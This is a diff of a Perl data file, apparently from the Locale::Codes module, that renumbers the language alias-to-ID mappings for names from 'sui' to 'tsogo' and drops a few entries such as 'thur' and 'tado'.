@@ -51739,51 +51689,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sui) => [
-      q(6293),
+      q(6294),
       q(0),
       ],
    q(suki) => [
-      q(6271),
+      q(6272),
       q(0),
       ],
    q(suku) => [
-      q(6267),
+      q(6268),
       q(0),
       ],
    q(sukuma) => [
-      q(0409),
+      q(0408),
       q(0),
       ],
    q(sukur) => [
-      q(6326),
+      q(6327),
       q(0),
       ],
    q(sukurum) => [
-      q(7937),
+      q(7934),
       q(0),
       ],
    q(sula) => [
-      q(6342),
+      q(6343),
       q(0),
       ],
    q(sulka) => [
-      q(6266),
+      q(6267),
       q(0),
       ],
    q(sulod) => [
-      q(6203),
+      q(6204),
       q(0),
       ],
    q(suma) => [
-      q(6190),
+      q(6191),
       q(0),
       ],
    q(sumariup) => [
-      q(6041),
+      q(6040),
       q(0),
       ],
    q(sumau) => [
-      q(6043),
+      q(6042),
       q(0),
       ],
    q(sumbawa) => [
@@ -51791,47 +51741,47 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(sumbwa) => [
-      q(6277),
+      q(6278),
       q(0),
       ],
    q(sumerian) => [
-      q(0412),
+      q(0411),
       q(0),
       ],
    q(sumi naga) => [
-      q(5071),
+      q(5067),
       q(0),
       ],
    q(sumtu chin) => [
-      q(1879),
+      q(1878),
       q(0),
       ],
    q(sunam) => [
-      q(6228),
+      q(6229),
       q(0),
       ],
    q(sundanese) => [
-      q(0410),
+      q(0409),
       q(0),
       ],
    q(sunum) => [
-      q(7683),
+      q(7680),
       q(1),
       ],
    q(sunwar) => [
-      q(6279),
+      q(6280),
       q(0),
       ],
    q(suomenruotsalainen viittomakieli) => [
-      q(2377),
+      q(2376),
       q(2),
       ],
    q(suoy) => [
-      q(6330),
+      q(6331),
       q(0),
       ],
    q(supyire senoufo) => [
-      q(6178),
+      q(6179),
       q(0),
       ],
    q(sur) => [
@@ -51847,111 +51797,111 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(surgujia) => [
-      q(5989),
+      q(5988),
       q(0),
       ],
    q(suri) => [
-      q(6273),
+      q(6274),
       q(0),
       ],
    q(surigaonon) => [
-      q(5984),
+      q(5983),
       q(0),
       ],
    q(surjapuri) => [
-      q(6056),
+      q(6055),
       q(0),
       ],
    q(sursurunga) => [
-      q(6000),
+      q(5999),
       q(0),
       ],
    q(suruaha) => [
-      q(6308),
+      q(6309),
       q(0),
       ],
    q(surubu) => [
-      q(5937),
+      q(5936),
       q(0),
       ],
    q(surui) => [
-      q(6213),
+      q(6214),
       q(0),
       ],
    q(surui do para) => [
-      q(4193),
+      q(4192),
       q(0),
       ],
    q(susquehannock) => [
-      q(6191),
+      q(6192),
       q(0),
       ],
    q(susu) => [
-      q(0411),
+      q(0410),
       q(0),
       ],
    q(susuami) => [
-      q(6238),
+      q(6239),
       q(0),
       ],
    q(suundi) => [
-      q(5941),
+      q(5940),
       q(0),
       ],
    q(suwawa) => [
-      q(6305),
+      q(6306),
       q(0),
       ],
    q(suya) => [
-      q(6278),
+      q(6279),
       q(0),
       ],
    q(svan) => [
-      q(6280),
+      q(6281),
       q(0),
       ],
    q(swabian) => [
-      q(6291),
+      q(6292),
       q(0),
       ],
    q(swahili) => [
-      q(0413),
+      q(0412),
       q(0),
       ],
    q(swahili (individual language)) => [
-      q(6292),
+      q(6293),
       q(0),
       ],
    q(swahili (macrolanguage)) => [
-      q(0413),
+      q(0412),
       q(1),
       ],
    q(swampy cree) => [
-      q(1880),
+      q(1879),
       q(0),
       ],
    q(swati) => [
-      q(0408),
+      q(0407),
       q(0),
       ],
    q(swedish) => [
-      q(0414),
+      q(0413),
       q(0),
       ],
    q(swedish sign language) => [
-      q(6296),
+      q(6297),
       q(0),
       ],
    q(swiss german) => [
-      q(0167),
+      q(0166),
       q(0),
       ],
    q(swiss-french sign language) => [
-      q(6235),
+      q(6236),
       q(0),
       ],
    q(swiss-german sign language) => [
-      q(5986),
+      q(5985),
       q(0),
       ],
    q(swiss-italian sign language) => [
@@ -51959,23 +51909,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(swo) => [
-      q(6164),
+      q(6165),
       q(0),
       ],
    q(syenara senoufo) => [
-      q(6024),
+      q(6023),
       q(0),
       ],
    q(sylheti) => [
-      q(6327),
+      q(6328),
       q(0),
       ],
    q(syriac) => [
-      q(0416),
-      q(0),
-      ],
-   q(t'apo) => [
-      q(3885),
+      q(0415),
       q(0),
       ],
    q(t'en) => [
@@ -51983,7 +51929,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ta'izzi-adeni arabic) => [
-      q(0595),
+      q(0594),
       q(0),
       ],
    q(taabwa) => [
@@ -51991,7 +51937,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tabaa zapotec) => [
-      q(7807),
+      q(7804),
       q(0),
       ],
    q(tabaru) => [
@@ -51999,15 +51945,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tabasco chontal) => [
-      q(1718),
+      q(1717),
       q(0),
       ],
    q(tabasco nahuatl) => [
-      q(4855),
+      q(4853),
       q(0),
       ],
    q(tabasco zoque) => [
-      q(7896),
+      q(7893),
       q(0),
       ],
    q(tabassaran) => [
@@ -52019,7 +51965,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tabo) => [
-      q(3497),
+      q(3496),
       q(0),
       ],
    q(tabriak) => [
@@ -52027,7 +51973,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tacahua mixtec) => [
-      q(7509),
+      q(7506),
       q(0),
       ],
    q(tacana) => [
@@ -52035,23 +51981,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tachawit) => [
-      q(6023),
+      q(6022),
       q(0),
       ],
    q(tachelhit) => [
-      q(6008),
+      q(6007),
       q(0),
       ],
    q(tachoni) => [
-      q(4067),
+      q(4066),
       q(0),
       ],
    q(tadaksahak) => [
-      q(2149),
-      q(0),
-      ],
-   q(tado) => [
-      q(3448),
+      q(2148),
       q(0),
       ],
    q(tadyawan) => [
@@ -52059,7 +52001,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tae') => [
-      q(5826),
+      q(5825),
       q(0),
       ],
    q(tafi) => [
@@ -52067,15 +52009,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tagabawa) => [
-      q(1178),
+      q(1177),
       q(0),
       ],
    q(tagakaulo) => [
-      q(3432),
+      q(3431),
       q(0),
       ],
    q(tagal murut) => [
-      q(4613),
+      q(4612),
       q(0),
       ],
    q(tagalaka) => [
@@ -52083,11 +52025,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tagalog) => [
-      q(0426),
+      q(0425),
       q(0),
       ],
    q(tagargrent) => [
-      q(5329),
+      q(5325),
       q(0),
       ],
    q(tagbanwa) => [
@@ -52123,7 +52065,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tahitian) => [
-      q(0417),
+      q(0416),
       q(0),
       ],
    q(tahltan) => [
@@ -52139,7 +52081,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tai dam) => [
-      q(1297),
+      q(1296),
       q(0),
       ],
    q(tai do) => [
@@ -52159,7 +52101,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tai languages) => [
-      q(0418),
+      q(0417),
       q(0),
       ],
    q(tai loi) => [
@@ -52183,7 +52125,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tai ya) => [
-      q(1912),
+      q(1911),
       q(0),
       ],
    q(tai yo) => [
@@ -52191,15 +52133,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(taiap) => [
-      q(2606),
+      q(2604),
       q(0),
       ],
    q(taikat) => [
-      q(0830),
+      q(0829),
       q(0),
       ],
    q(tainae) => [
-      q(0667),
+      q(0666),
       q(0),
       ],
    q(taino) => [
@@ -52207,7 +52149,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tairaha) => [
-      q(1566),
+      q(1565),
       q(0),
       ],
    q(tairuma) => [
@@ -52215,7 +52157,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(taita) => [
-      q(1946),
+      q(1945),
       q(0),
       ],
    q(taiwan sign language) => [
@@ -52223,15 +52165,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(taje) => [
-      q(5403),
+      q(5399),
       q(0),
       ],
    q(tajik) => [
-      q(0425),
+      q(0424),
       q(0),
       ],
    q(tajiki arabic) => [
-      q(0567),
+      q(0566),
       q(0),
       ],
    q(tajio) => [
@@ -52259,7 +52201,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(takuu) => [
-      q(4865),
+      q(4863),
       q(0),
       ],
    q(takwane) => [
@@ -52275,7 +52217,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(talaandig) => [
-      q(1257),
+      q(1256),
       q(1),
       ],
    q(talaud) => [
@@ -52315,7 +52257,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(talu) => [
-      q(7742),
+      q(7739),
       q(0),
       ],
    q(talysh) => [
@@ -52347,7 +52289,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tamashek) => [
-      q(0435),
+      q(0434),
       q(0),
       ],
    q(tamasheq) => [
@@ -52355,7 +52297,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tamazola mixtec) => [
-      q(7023),
+      q(7022),
       q(0),
       ],
    q(tambas) => [
@@ -52363,7 +52305,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tambora) => [
-      q(7549),
+      q(7546),
       q(0),
       ],
    q(tambotalo) => [
@@ -52375,7 +52317,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tamil) => [
-      q(0419),
+      q(0418),
       q(0),
       ],
    q(tamki) => [
@@ -52443,11 +52385,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tangkhul naga (india)) => [
-      q(4960),
+      q(4958),
       q(0),
       ],
    q(tangkhul naga (myanmar)) => [
-      q(5096),
+      q(5092),
       q(0),
       ],
    q(tangko) => [
@@ -52455,7 +52397,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tanglang) => [
-      q(7743),
+      q(7740),
       q(0),
       ],
    q(tangoa) => [
@@ -52483,7 +52425,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tankarana malagasy) => [
-      q(7412),
+      q(7409),
       q(1),
       ],
    q(tanosy malagasy) => [
@@ -52491,7 +52433,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tanudan kalinga) => [
-      q(3462),
+      q(3461),
       q(0),
       ],
    q(tanzanian sign language) => [
@@ -52503,7 +52445,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tapei) => [
-      q(0648),
+      q(0647),
       q(0),
       ],
    q(tapiete) => [
@@ -52527,7 +52469,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tarifit) => [
-      q(5778),
+      q(5777),
       q(0),
       ],
    q(tarjumo) => [
@@ -52535,7 +52477,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tarok) => [
-      q(7612),
+      q(7609),
       q(0),
       ],
    q(taroko) => [
@@ -52559,11 +52501,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tase naga) => [
-      q(5077),
+      q(5073),
       q(0),
       ],
    q(tasmanian) => [
-      q(7514),
+      q(7511),
       q(0),
       ],
    q(tasmate) => [
@@ -52571,7 +52513,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tataltepec chatino) => [
-      q(1883),
+      q(1882),
       q(0),
       ],
    q(tatana) => [
@@ -52579,7 +52521,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tatar) => [
-      q(0420),
+      q(0419),
       q(0),
       ],
    q(tatuyo) => [
@@ -52627,7 +52569,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tavringer romani) => [
-      q(5813),
+      q(5812),
       q(0),
       ],
    q(tawala) => [
@@ -52639,7 +52581,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tawande) => [
-      q(7512),
+      q(7509),
       q(0),
       ],
    q(tawang monpa) => [
@@ -52683,7 +52625,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tayabas ayta) => [
-      q(1011),
+      q(1010),
       q(0),
       ],
    q(tayart tamajeq) => [
@@ -52691,11 +52633,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tayo) => [
-      q(1759),
+      q(1758),
       q(0),
       ],
    q(taznatit) => [
-      q(2621),
+      q(2619),
       q(0),
       ],
    q(tboli) => [
@@ -52707,7 +52649,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tchumbuli) => [
-      q(1398),
+      q(1397),
       q(0),
       ],
    q(te'un) => [
@@ -52719,7 +52661,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tebi) => [
-      q(2088),
+      q(2087),
       q(1),
       ],
    q(tebul sign language) => [
@@ -52727,7 +52669,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tebul ure dogon) => [
-      q(2163),
+      q(2162),
       q(0),
       ],
    q(tecpatlan totonac) => [
@@ -52739,7 +52681,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tedim chin) => [
-      q(1885),
+      q(1884),
       q(0),
       ],
    q(tee) => [
@@ -52755,11 +52697,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tegali) => [
-      q(5741),
+      q(5739),
       q(0),
       ],
    q(tehit) => [
-      q(3536),
+      q(3535),
       q(0),
       ],
    q(tehuelche) => [
@@ -52767,19 +52709,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tejalapan zapotec) => [
-      q(7946),
+      q(7943),
       q(0),
       ],
    q(teke-ebo) => [
-      q(2211),
+      q(2210),
       q(0),
       ],
    q(teke-fuumu) => [
-      q(2914),
+      q(2911),
       q(0),
       ],
    q(teke-kukuya) => [
-      q(3422),
+      q(3421),
       q(0),
       ],
    q(teke-laali) => [
@@ -52787,7 +52729,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(teke-nzikou) => [
-      q(5177),
+      q(5173),
       q(0),
       ],
    q(teke-tege) => [
@@ -52815,7 +52757,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(telugu) => [
-      q(0421),
+      q(0420),
       q(0),
       ],
    q(teluti) => [
@@ -52823,7 +52765,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(tem) => [
-      q(3240),
+      q(3238),
       q(0),
       ],
    q(temacine tamazight) => [
@@ -52831,7 +52773,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(temascaltepec nahuatl) => [
-      q(4871),
+      q(4869),
       q(0),
       ],
    q(tembe) => [
@@ -52855,7 +52797,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(temi) => [
-      q(6166),
+      q(6167),
       q(0),
       ],
    q(temiar) => [
@@ -52863,7 +52805,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(temoaya otomi) => [
-      q(5323),
+      q(5319),
       q(0),
       ],
    q(temoq) => [
@@ -52879,23 +52821,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tena) => [
-      q(1141),
+      q(1140),
       q(1),
       ],
    q(tena lowland quichua) => [
-      q(5687),
+      q(5685),
       q(0),
       ],
    q(tenango otomi) => [
-      q(5319),
+      q(5315),
       q(0),
       ],
    q(tene kan dogon) => [
-      q(2155),
+      q(2154),
       q(0),
       ],
    q(tenggarong kutai malay) => [
-      q(6999),
+      q(6998),
       q(0),
       ],
    q(tengger) => [
@@ -52903,7 +52845,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tenharim) => [
-      q(5347),
+      q(5343),
       q(0),
       ],
    q(tenino) => [
@@ -52931,15 +52873,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tepetotutla chinantec) => [
-      q(1802),
+      q(1801),
       q(0),
       ],
    q(tepeuxila cuicatec) => [
-      q(1915),
+      q(1914),
       q(0),
       ],
    q(tepinapa chinantec) => [
-      q(1886),
+      q(1885),
       q(0),
       ],
    q(tepo krumen) => [
@@ -52947,7 +52889,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ter sami) => [
-      q(6059),
+      q(6058),
       q(0),
       ],
    q(tera) => [
@@ -52959,11 +52901,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(terei) => [
-      q(1505),
+      q(1504),
       q(0),
       ],
    q(tereno) => [
-      q(0423),
+      q(0422),
       q(0),
       ],
    q(teressa) => [
@@ -52999,7 +52941,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tese) => [
-      q(3262),
+      q(3260),
       q(0),
       ],
    q(teshenawa) => [
@@ -53015,7 +52957,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tetelcingo nahuatl) => [
-      q(4859),
+      q(4857),
       q(0),
       ],
    q(tetete) => [
@@ -53023,7 +52965,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tetum) => [
-      q(0424),
+      q(0423),
       q(0),
       ],
    q(tetun dili) => [
@@ -53031,7 +52973,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(teutila cuicatec) => [
-      q(1911),
+      q(1910),
       q(0),
       ],
    q(tewa (indonesia)) => [
@@ -53047,19 +52989,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(texcatepec otomi) => [
-      q(5326),
+      q(5322),
       q(0),
       ],
    q(texistepec popoluca) => [
-      q(5560),
+      q(5556),
       q(0),
       ],
    q(texmelucan zapotec) => [
-      q(7924),
+      q(7921),
       q(0),
       ],
    q(tezoatlan mixtec) => [
-      q(4641),
+      q(4640),
       q(0),
       ],
    q(tha) => [
@@ -53075,7 +53017,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(thai) => [
-      q(0427),
+      q(0426),
       q(0),
       ],
    q(thai sign language) => [
@@ -53083,11 +53025,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(thai song) => [
-      q(6146),
+      q(6147),
       q(0),
       ],
    q(thaiphum chin) => [
-      q(1888),
+      q(1887),
       q(0),
       ],
    q(thakali) => [
@@ -53095,7 +53037,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(thangal naga) => [
-      q(4923),
+      q(4921),
       q(0),
       ],
    q(thangmi) => [
@@ -53103,7 +53045,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(thao) => [
-      q(6223),
+      q(6224),
       q(0),
       ],
    q(tharaka) => [
@@ -53111,7 +53053,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(thawa) => [
-      q(7511),
+      q(7508),
       q(0),
       ],
    q(thayore) => [
@@ -53123,7 +53065,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(thiin) => [
-      q(2930),
+      q(2927),
       q(0),
       ],
    q(tho) => [
@@ -53135,7 +53077,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(thopho) => [
-      q(7744),
+      q(7741),
       q(0),
       ],
    q(thracian) => [
@@ -53154,10 +53096,6 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(6424),
       q(0),
       ],
-   q(thur) => [
-      q(4063),
-      q(0),
-      ],
    q(thurawal) => [
       q(6376),
       q(0),
@@ -53167,11 +53105,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tiagbamrin aizi) => [
-      q(0682),
+      q(0681),
       q(0),
       ],
    q(tiale) => [
-      q(4417),
+      q(4416),
       q(0),
       ],
    q(tiang) => [
@@ -53179,15 +53117,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tibea) => [
-      q(4851),
+      q(4849),
       q(0),
       ],
    q(tibetan) => [
-      q(0428),
+      q(0427),
       q(0),
       ],
    q(tibeto-burman languages) => [
-      q(0528),
+      q(0527),
       q(0),
       ],
    q(tichurong) => [
@@ -53199,7 +53137,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tidaa mixtec) => [
-      q(4571),
+      q(4570),
       q(0),
       ],
    q(tidikelt tamazight) => [
@@ -53215,7 +53153,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tiemacewe bozo) => [
-      q(1364),
+      q(1363),
       q(0),
       ],
    q(tiene) => [
@@ -53223,7 +53161,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tieyaxo bozo) => [
-      q(1374),
+      q(1373),
       q(0),
       ],
    q(tifal) => [
@@ -53235,15 +53173,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tigon mbembe) => [
-      q(5172),
+      q(5168),
       q(0),
       ],
    q(tigre) => [
-      q(0429),
+      q(0428),
       q(0),
       ],
    q(tigrinya) => [
-      q(0430),
+      q(0429),
       q(0),
       ],
    q(tii) => [
@@ -53251,7 +53189,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tijaltepec mixtec) => [
-      q(7501),
+      q(7498),
       q(0),
       ],
    q(tikar) => [
@@ -53263,7 +53201,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tilapa otomi) => [
-      q(5317),
+      q(5313),
       q(0),
       ],
    q(tillamook) => [
@@ -53271,7 +53209,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tilquiapan zapotec) => [
-      q(7945),
+      q(7942),
       q(0),
       ],
    q(tilung) => [
@@ -53287,11 +53225,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(timbisha) => [
-      q(5352),
+      q(5348),
       q(1),
       ],
    q(timne) => [
-      q(0422),
+      q(0421),
       q(0),
       ],
    q(timor pidgin) => [
@@ -53343,7 +53281,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tiri) => [
-      q(1737),
+      q(1736),
       q(0),
       ],
    q(tiruray) => [
@@ -53359,7 +53297,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tiv) => [
-      q(0431),
+      q(0430),
       q(0),
       ],
    q(tiwa) => [
@@ -53387,31 +53325,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(tlacoatzintepec chinantec) => [
-      q(1889),
+      q(1888),
       q(0),
       ],
    q(tlacolulita zapotec) => [
-      q(7909),
+      q(7906),
       q(0),
       ],
    q(tlahuitoltepec mixe) => [
-      q(4655),
+      q(4654),
       q(0),
       ],
    q(tlamacazapa nahuatl) => [
-      q(5123),
+      q(5119),
       q(0),
       ],
    q(tlazoyaltepec mixtec) => [
-      q(4480),
+      q(4479),
       q(0),
       ],
    q(tlhingan-hol) => [
-      q(0433),
+      q(0432),
       q(1),
       ],
    q(tlingit) => [
-      q(0434),
+      q(0433),
       q(0),
       ],
    q(to) => [
@@ -53419,7 +53357,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(to'abaita) => [
-      q(4378),
+      q(4377),
       q(0),
       ],
    q(toaripi) => [
@@ -53463,7 +53401,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tocantins asurini) => [
-      q(0904),
+      q(0903),
       q(0),
       ],
    q(tocho) => [
@@ -53495,7 +53433,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tohono o'odham) => [
-      q(5278),
+      q(5274),
       q(0),
       ],
    q(tojolabal) => [
@@ -53503,19 +53441,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tok pisin) => [
-      q(0438),
+      q(0437),
       q(0),
       ],
    q(tokano) => [
-      q(7951),
+      q(7948),
       q(0),
       ],
    q(tokelau) => [
-      q(0432),
+      q(0431),
       q(0),
       ],
    q(tokharian a) => [
-      q(7504),
+      q(7501),
       q(0),
       ],
    q(tokharian b) => [
@@ -53527,7 +53465,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tol) => [
-      q(3091),
+      q(3089),
       q(0),
       ],
    q(tolaki) => [
@@ -53567,11 +53505,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tommo so dogon) => [
-      q(2158),
+      q(2157),
       q(0),
       ],
    q(tomo kan dogon) => [
-      q(2156),
+      q(2155),
       q(0),
       ],
    q(tomoip) => [
@@ -53587,15 +53525,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tonga) => [
-      q(0437),
+      q(0436),
       q(1),
       ],
    q(tonga (nyasa)) => [
-      q(0436),
+      q(0435),
       q(0),
       ],
    q(tonga (tonga islands)) => [
-      q(0437),
+      q(0436),
       q(0),
       ],
    q(tonga (zambia)) => [
@@ -53643,7 +53581,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(toraja-sa'dan) => [
-      q(5934),
+      q(5933),
       q(0),
       ],
    q(toram) => [
@@ -53655,7 +53593,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tornedalen finnish) => [
-      q(2346),
+      q(2345),
       q(0),
       ],
    q(toro) => [
@@ -53663,11 +53601,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(toro so dogon) => [
-      q(2161),
+      q(2160),
       q(0),
       ],
    q(toro tegu dogon) => [
-      q(2162),
+      q(2161),
       q(0),
       ],
    q(toromono) => [
@@ -53691,7 +53629,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tosk albanian) => [
-      q(0761),
+      q(0760),
       q(0),
       ],
    q(totela) => [
@@ -53707,11 +53645,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(totomachapan zapotec) => [
-      q(7906),
+      q(7903),
       q(0),
       ],
    q(totontepec mixe) => [
-      q(4562),
+      q(4561),
       q(0),
       ],
    q(totoro) => [
@@ -53723,11 +53661,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(toura (cote d'ivoire)) => [
-      q(4801),
+      q(4799),
       q(0),
       ],
    q(toura (papua new guinea)) => [
-      q(2115),
+      q(2114),
       q(0),
       ],
    q(towei) => [
@@ -53735,19 +53673,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(trans-new guinea languages) => [
-      q(0517),
+      q(0516),
       q(0),
       ],
    q(transalpine gaulish) => [
-      q(7497),
+      q(7494),
       q(0),
       ],
    q(traveller danish) => [
-      q(5798),
+      q(5797),
       q(0),
       ],
    q(traveller norwegian) => [
-      q(5801),
+      q(5800),
       q(0),
       ],
    q(traveller scottish) => [
@@ -53763,7 +53701,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(trieng) => [
-      q(6248),
+      q(6249),
       q(0),
       ],
    q(trimuris) => [
@@ -53827,7 +53765,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tsat) => [
-      q(2862),
+      q(2860),
       q(0),
       ],
    q(tsaukambo) => [
@@ -53847,19 +53785,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tsikimba) => [
-      q(3244),
+      q(3242),
       q(0),
       ],
    q(tsimane) => [
-      q(1653),
+      q(1652),
       q(0),
       ],
    q(tsimihety malagasy) => [
-      q(7413),
+      q(7410),
       q(0),
       ],
    q(tsimshian) => [
-      q(0439),
+      q(0438),
       q(0),
       ],
    q(tsishingini) => [
@@ -53871,7 +53809,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(tsoa) => [
-      q(2759),
+      q(2757),
       q(0),
       ],
    q(tsogo) => [
